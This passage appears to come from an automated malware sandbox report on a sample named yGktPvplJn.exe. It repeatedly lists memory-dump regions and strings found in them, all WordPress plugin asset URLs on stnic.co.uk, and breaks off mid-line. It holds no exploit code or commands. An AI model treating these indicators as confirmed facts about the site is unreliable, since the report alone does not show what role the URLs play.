00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/contact-form-7/modules/recaptcha/index.js?ver=5.9.8
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/cookie-law-info/lite/frontend/js/script.min.js?ver=3.2.7
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=6.7.0
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/js_composer/assets/js/vendors/woocommerce-add-to-cart.js?v
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/js_composer/assets/lib/bower/skrollr/dist/skrollr.min.js?v
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/mega_main_menu/framework/src/css/icomoon.css?ver=2.1.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/mega_main_menu/src/css/cache.skin.css?ver=1554456763
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/mega_main_menu/src/js/frontend.js?ver=6.6.2
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2462063526.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2432992573.0000000006DB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2433183027.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2660016402.0000000003E30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2451649493.0000000003AD0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2775837357.00000000075C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.stnic.co.uk/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.6.12
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2764303721.0000000007FC0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2779591114.0000000004630000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2440339008.00000000076E0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 